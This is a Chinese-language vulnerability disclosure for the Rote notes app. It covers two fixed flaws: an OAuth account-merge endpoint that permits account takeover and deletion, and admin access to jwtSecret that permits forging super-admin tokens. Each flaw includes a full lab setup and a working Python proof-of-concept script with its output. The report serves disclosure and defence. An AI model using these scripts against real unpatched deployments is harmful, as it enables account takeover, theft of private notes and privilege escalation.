Rote 漏洞报告
软件名称:Rote
开发者或厂商:Rabithua
代码仓库:https://github.com/Rabithua/Rote
1. OAuth 账户合并接口越权绑定他人第三方账号导致账户接管
| 简要描述: | POST /v2/api/auth/oauth/:provider/bind/merge 不校验调用者是否拥有目标第三方账号,攻击者可借此把任意已绑定 OAuth 的账户合并进自己的账户,窃取其全部数据并删除该账户。 |
|---|---|
| 影响版本: | v1.2.0 ~ v2.6.0 |
| 前置条件: | 攻击者拥有任意普通账号,目标账户已绑定 GitHub 或 Apple 账号。 |
| 修复: | Rote commit 319b6eef |
漏洞成因
Rote 支持把 GitHub 或 Apple 账号绑定到已有账户。当第三方账号已被其他 Rote 账户绑定时,前端会提示合并账户,用户确认后调用 POST /v2/api/auth/oauth/:provider/bind/merge。该接口的 existingUserId 与 providerUserId 完全来自请求体,相关代码如下:
// server/route/v2/oauth.ts:608-611 commit f7cc56ba4c
const user = c.get('user') as User;
const body = await c.req.json();
const existingUserId = body.existingUserId;
const providerUserId = body[`${providerName}UserId`];
后续校验只确认这两个参数在数据库中对应一条真实绑定:
// server/route/v2/oauth.ts:637-645 commit f7cc56ba4c
// 3. 验证 existingUserId 对应的用户确实绑定了这个 OAuth ID
const existingUser = await findUserByOAuthBinding(providerName, providerUserId);
if (!existingUser) {
throw new Error('Existing user not found or OAuth binding mismatch');
}
if (existingUser.id !== existingUserId) {
throw new Error(`${providerName} ID mismatch`);
}
整条校验链没有验证调用者对该第三方账号的所有权,第三方账号 ID 由攻击者任意指定。校验通过后服务端直接执行合并:
// server/route/v2/oauth.ts:658-659 commit f7cc56ba4c
// 6. 执行账户合并(在事务内完成所有操作,包括 OAuth 绑定迁移)
const mergeResult = await mergeUserAccounts(existingUserId, user.id);
mergeUserAccounts 把源账户的笔记、附件、API 密钥、推送订阅与 OAuth 绑定全部转入调用者名下,然后删除源账户:
// server/utils/dbMethods/userAccount.ts:493 commit f7cc56ba4c
const deleteResult = await tx.delete(users).where(eq(users.id, sourceUserId)).returning();
攻击所需的两个 ID 都是公开信息。existingUserId 可从公开资料接口获得,GitHub 数字 ID 可从 https://api.github.com/users/<login> 获得。
复现环境搭建
用官方 docker-compose 部署:
mkdir rote && cd rote
curl -fsSL -o docker-compose.yml \
https://raw.githubusercontent.com/Rabithua/Rote/f7cc56ba4c1d8632c4c4d2d12d6867fd0b4376ec/server/docker-compose.yml
cat > .env <<'EOF'
POSTGRES_PASSWORD=rotepass
VITE_API_BASE=http://127.0.0.1:18000
EOF
docker compose up -d
浏览器打开 http://127.0.0.1:18001 按向导完成初始化,创建超级管理员 rootadmin(密码 Admin12345.),注册普通账号 victim 与 attacker(密码均为 Passw0rd12345.)。victim 登录后新建一条私密笔记,内容为 VICTIM-PRIVATE-NOTE: bank account 6222-0000-1111-2222:

victim 绑定 GitHub 账号 victimgh。实验环境无法连接真实 GitHub 时,直接写入等价的绑定记录,其中 12345 为 victimgh 的 GitHub 数字 ID:
docker compose exec rote-postgres psql -U rote -d rote -c \
"INSERT INTO user_oauth_bindings (userid, provider, \"providerId\", \"providerUsername\")
SELECT id, 'github', '12345', 'victimgh' FROM users WHERE username = 'victim';"
复现过程
attacker 登录后,从公开资料接口 GET /v2/api/users/victim 取得 victim 的 Rote 用户 id,从 https://api.github.com/users/victimgh 取得 GitHub 数字 ID。执行以下脚本发起合并:
import httpx
BASE = "http://127.0.0.1:18000"
client = httpx.Client(base_url=BASE, timeout=30)
r = client.post("/v2/api/auth/login", json={"username": "attacker", "password": "Passw0rd12345."})
token = r.json()["data"]["accessToken"]
headers = {"authorization": f"Bearer {token}"}
# victim 的 Rote 用户 id,取自公开资料接口
victim = client.get("/v2/api/users/victim").json()["data"]
print("victim id:", victim["id"])
# victim 绑定的 GitHub 数字 ID,取自 https://api.github.com/users/victimgh
github_id = "12345"
r = client.post(
"/v2/api/auth/oauth/github/bind/merge",
headers=headers,
json={
"existingUserId": victim["id"],
"githubUserId": github_id,
"githubUsername": "victimgh",
},
)
print(r.status_code, r.json())
# 合并后以 attacker 的 token 读取笔记
notes = client.get("/v2/api/notes", headers=headers).json()["data"]
for note in notes:
print(note["id"], note["content"])
输出如下:
victim id: 91510c52-9062-4416-aacd-cba5396b6df2
200 {'code': 0, 'message': '账户合并成功,github 已绑定', 'data': {'merged': True, 'mergedData': {'notes': 1, 'attachments': 0, 'reactions': 0, 'openKeys': 0, 'subscriptions': 0, 'apnsDevices': 0, 'pushEvents': 0, 'changes': 1, 'aiConversations': 0}}}
9f6c5c7b-0387-4731-b190-5960c558eede VICTIM-PRIVATE-NOTE: bank account 6222-0000-1111-2222
attacker 的账户下已出现 victim 的私密笔记:

victim 的账户已被删除,原密码无法登录:

登录接口返回:
{"code":1,"message":"User not found.","data":null}
2. 普通管理员可读取并改写 jwtSecret 提权为超级管理员
| 简要描述: | /v2/api/admin/settings 允许普通管理员读取和改写包含 jwtSecret 在内的安全配置,攻击者可据此伪造超级管理员的 JWT token,把普通管理员账号提权为超级管理员。 |
|---|---|
| 影响版本: | v1.0.0 ~ v2.6.0 |
| 前置条件: | 攻击者拥有 admin 角色账号。 |
| 修复: | Rote commit 319b6eef |
漏洞成因
Rote 的用户角色分 user、moderator、admin、super_admin 四级,修改用户角色等操作仅限 super_admin。配置接口却只要求 admin:
// server/route/v2/admin.ts:95 commit f7cc56ba4c
adminRouter.get('/settings', authenticateJWT, requireAdmin, async (c: HonoContext) => {
响应前只对 ai 分组脱敏,其余分组原样返回:
// server/route/v2/admin.ts:86-92 commit f7cc56ba4c
const sanitizeSettingsForAdmin = (configs: Record<string, any>) => {
if (!configs.ai) return configs;
return {
...configs,
ai: sanitizeAiConfig(configs.ai),
};
};
security 分组包含 jwtSecret、jwtRefreshSecret、sessionSecret、OAuth clientSecret 等密钥,普通管理员由此可以直接读到签名密钥。
PUT /v2/api/admin/settings 同样只要求 admin,对 security 分组也没有字段白名单,攻击者可以直接改写 jwtSecret。超级管理员校验只覆盖 system 分组:
// server/route/v2/admin.ts:126-146 commit f7cc56ba4c
adminRouter.put('/settings', authenticateJWT, requireAdmin, async (c: HonoContext) => {
try {
const body = await c.req.json();
const { group } = body as { group: string; config: any };
let { config } = body as { group: string; config: any };
if (!group || !config) {
return c.json(createResponse(null, 'Group and config are required'), 400);
}
// 验证分组是否有效
const validGroups = ['site', 'storage', 'security', 'notification', 'ui', 'system', 'ai'];
if (!validGroups.includes(group)) {
return c.json(createResponse(null, 'Invalid configuration group'), 400);
}
// 对于系统配置,只允许超级管理员修改
const user = c.get('user') as any;
if (group === 'system' && user?.role !== 'super_admin') {
return c.json(createResponse(null, 'Only super admin can modify system configuration'), 403);
}
Access token 用 jwtSecret 做 HS256 签名:
// server/utils/jwt.ts:13-28 commit f7cc56ba4c
export async function generateAccessToken(payload: CustomJWTPayload): Promise<string> {
// 动态获取配置
const config = getGlobalConfig<SecurityConfig>('security');
if (!config || !config.jwtSecret) {
throw new Error('JWT is not configured. Please complete the security configuration first.');
}
const secret = new TextEncoder().encode(config.jwtSecret);
const expiry = config.jwtAccessExpiry || '7d';
return await new SignJWT(payload)
.setProtectedHeader({ alg: 'HS256' })
.setIssuedAt()
.setIssuer('rote-app')
.setExpirationTime(expiry)
.sign(secret);
鉴权中间件验签后直接取 token 中的 userId 加载用户。拿到 jwtSecret 就能为任意用户签发有效 token,其中也包括超级管理员。
复现环境搭建
用官方 docker-compose 部署:
mkdir rote && cd rote
curl -fsSL -o docker-compose.yml \
https://raw.githubusercontent.com/Rabithua/Rote/f7cc56ba4c1d8632c4c4d2d12d6867fd0b4376ec/server/docker-compose.yml
cat > .env <<'EOF'
POSTGRES_PASSWORD=rotepass
VITE_API_BASE=http://127.0.0.1:18000
EOF
docker compose up -d
浏览器打开 http://127.0.0.1:18001 按向导完成初始化,创建超级管理员 rootadmin(密码 Admin12345.),注册普通账号 sysadmin(密码 Passw0rd12345.)。管理后台的用户列表不提供角色修改入口,给 sysadmin 授予 admin 角色:
docker compose exec rote-postgres psql -U rote -d rote -c \
"UPDATE users SET role = 'admin' WHERE username = 'sysadmin';"
复现过程
sysadmin 登录后可以进入管理后台:

用户列表显示 sysadmin 的角色为 admin:

执行以下脚本,读取 jwtSecret,伪造 rootadmin 的 token,并用它调用仅限 super_admin 的角色修改接口:
import base64, hashlib, hmac, json, time
import httpx
BASE = "http://127.0.0.1:18000"
client = httpx.Client(base_url=BASE, timeout=30)
# admin 账号登录
r = client.post("/v2/api/auth/login", json={"username": "sysadmin", "password": "Passw0rd12345."})
admin_token = r.json()["data"]["accessToken"]
admin_headers = {"authorization": f"Bearer {admin_token}"}
# 读取 security 配置,其中包含 jwtSecret
cfg = client.get("/v2/api/admin/settings", headers=admin_headers,
params={"group": "security"}).json()["data"]["config"]
print("jwtSecret leaked:", cfg["jwtSecret"])
# 超级管理员的用户 id
users = client.get("/v2/api/admin/users", headers=admin_headers).json()["data"]["users"]
root = [u for u in users if u["username"] == "rootadmin"][0]
me = [u for u in users if u["username"] == "sysadmin"][0]
# 用泄露的 jwtSecret 伪造 rootadmin 的 access token
def b64(data):
return base64.urlsafe_b64encode(data).rstrip(b"=")
header = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64(json.dumps({
"userId": root["id"], "username": root["username"],
"iat": int(time.time()), "iss": "rote-app", "exp": int(time.time()) + 86400,
}, separators=(",", ":")).encode())
sig = b64(hmac.new(cfg["jwtSecret"].encode(), header + b"." + payload, hashlib.sha256).digest())
forged = (header + b"." + payload + b"." + sig).decode()
print("forged token accepted:",
client.get("/v2/api/admin/settings",
headers={"authorization": f"Bearer {forged}"}).status_code)
# 用伪造的 token 把 sysadmin 提升为 super_admin
r = client.put(f"/v2/api/admin/users/{me['id']}/role",
headers={"authorization": f"Bearer {forged}"},
json={"role": "super_admin"})
print("role change:", r.status_code, r.json()["message"])
# 查看 sysadmin 当前角色
print("sysadmin role now:",
[u["role"] for u in client.get("/v2/api/admin/users", headers=admin_headers).json()["data"]["users"]
if u["username"] == "sysadmin"][0])
输出如下:
jwtSecret leaked: dosFsiV1CopF6jKtoxfaFgwIsFsqeBPgE5pBjQ6uQZ7l8wkxY9dqzN0lwm7oOSmQMoN45VWmrCgY4nuQl2bLsw==
forged token accepted: 200
role change: 200 User role updated successfully
sysadmin role now: super_admin
回到管理后台刷新,sysadmin 的角色已变为 super_admin:
